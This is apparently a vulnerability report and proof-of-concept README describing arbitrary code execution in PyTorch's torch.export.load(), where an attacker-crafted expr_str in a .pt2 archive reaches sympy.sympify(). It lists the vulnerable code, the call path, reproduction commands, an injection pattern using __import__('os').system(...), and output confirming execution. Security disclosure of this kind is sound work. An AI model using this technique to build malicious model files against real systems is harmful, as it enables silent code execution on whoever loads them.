PoC: RCE via sympy.sympify() on attacker-controlled SymExpr.expr_str in torch.export / .pt2 deserialization
Target: github.com/pytorch/pytorch β torch/_export/serde/serialize.py,
torch/export/pt2_archive/_package.py (torch.export / .pt2 package format)
Verified against: pytorch main @ commit 0a1434d (fetched 2026-07-06),
installed as torch==2.12.1+cpu from the official CPU wheel index.
Summary
Calling the public, documented API torch.export.load() on a maliciously
crafted .pt2 archive (or bare serialized ExportedProgram) achieves
arbitrary code execution, with no exception, warning, or any other signal
to the caller β load() returns a normal-looking ExportedProgram object.
The root cause is that SymExpr.expr_str (a completely free-form string field
in the export serialization schema, used to record symbolic-shape
expressions such as those produced by torch.export's dynamic_shapes
feature) is passed unsanitized into sympy.sympify(), which evaluates its
input via Python's eval() under the hood. This lets an attacker embed
arbitrary Python, e.g. __import__('os').system(...), inside the "safe",
non-pickle, JSON/thrift-schema portion of a .pt2 file.
This is a distinct root cause from the already-public/known
weights_only-forwarding issue (CVE-2026-4538 / pytorch/pytorch#176791),
which is specifically about the pickle fallback used for tensor/constant
payloads. No pickle module is involved anywhere in this bug: the payload
lives in models/<name>.json, the part of the archive whose entire design
point (per the thrift schema doc) is to be a stable, inspectable,
non-pickle representation of the exported graph.
Vulnerable code
torch/_export/serde/serialize.py:
def _parse_sym_expr(self, expr_str: str, hint=None) -> sympy.Expr:
...
expr = sympy.sympify(
expr_str,
locals={**self.sympy_functions, **self.symbol_name_to_symbol},
)
return _process_sym_expr(expr, hint)
def deserialize_sym_int(self, s: SymInt):
val = s.value
if s.type == "as_expr":
...
sym = self._parse_sym_expr(val.expr_str, hint)
return self.shape_env.create_symintnode(sym, hint=hint)
expr_str is declared with zero content validation:
torch/_export/serde/schema.py:class SymExpr: expr_str: Annotated[str, 10]torch/_export/serde/export_schema.thrift:10: string expr_str;torch/_export/serde/schema_check.pyhas no reference toexpr_strat all.
Call path from the public API
torch.export.load("evil.pt2")
-> torch.export.pt2_archive._package.load_pt2()
-> _load_exported_programs()
-> ExportedProgramDeserializer(...).deserialize()
-> GraphModuleDeserializer.deserialize_sym_int() / deserialize_sym_float()
-> _parse_sym_expr() -> sympy.sympify(attacker_controlled_expr_str)
SymExpr nodes of type == "as_expr" are produced any time a model is
exported with dynamic_shapes=... (an extremely common, first-class
torch.export feature β not an edge case), so any pipeline that accepts
.pt2 files or serialized ExportedPrograms from outside sources and uses
dynamic shapes is exposed.
Files in this repo
make_poc.pyβ self-contained build + trigger script (see its docstring for full detail).benign_test.pt2β the untampered archive produced by the realtorch.export.save(), for diffing.evil.pt2β the tampered archive. Only theexpr_strstring insidemodels/model.jsondiffers frombenign_test.pt2; nothing else in the zip was touched, and no pickled payload was modified.
Reproduce
pip install torch # 2.12.1 CPU wheel is sufficient
python make_poc.py build # regenerates benign_test.pt2 / evil.pt2 from scratch
python make_poc.py trigger # calls torch.export.load("evil.pt2")
cat /tmp/pwned_pt2.txt # contains the output of `id`, proving code exec
Observed output (this environment):
[*] calling torch.export.load('evil.pt2') ...
[*] load() returned normally:
ExportedProgram:
class GraphModule(torch.nn.Module):
def forward(self, x: "f32[s77, 3]"):
sum_1: "f32[1, 3]" = torch.ops.aten.sum.dim_IntList(x, [0], True)
slice_1: "f32[1, 3]" = torch.ops.aten.slice.Tensor(x, 0, 0, 1); x = None
add: "f32[1, 3]" = torch.ops.aten.add.Tensor(sum_1, slice_1); sum_1 = slice_1 = None
return (add,)
...
[!!] RCE CONFIRMED -- /tmp/pwned_pt2.txt contents:
uid=1000(kali) gid=1000(kali) groups=...
Impact
Arbitrary code execution with the privileges of whatever process calls
torch.export.load() / torch.export.pt2_archive.load_pt2(), triggered by
loading a single untrusted .pt2 file β a file format that torch.export
positions as the portable, inspectable interchange format for exported
models (used by AOTInductor packaging, ExecuTorch, and general model
deployment/sharing). Because the load silently succeeds and returns a
plausible-looking ExportedProgram, there is no indication to a victim that
anything unusual happened, unlike the well-known "torch.load is pickle, be
careful" risk this file format was partly meant to move away from.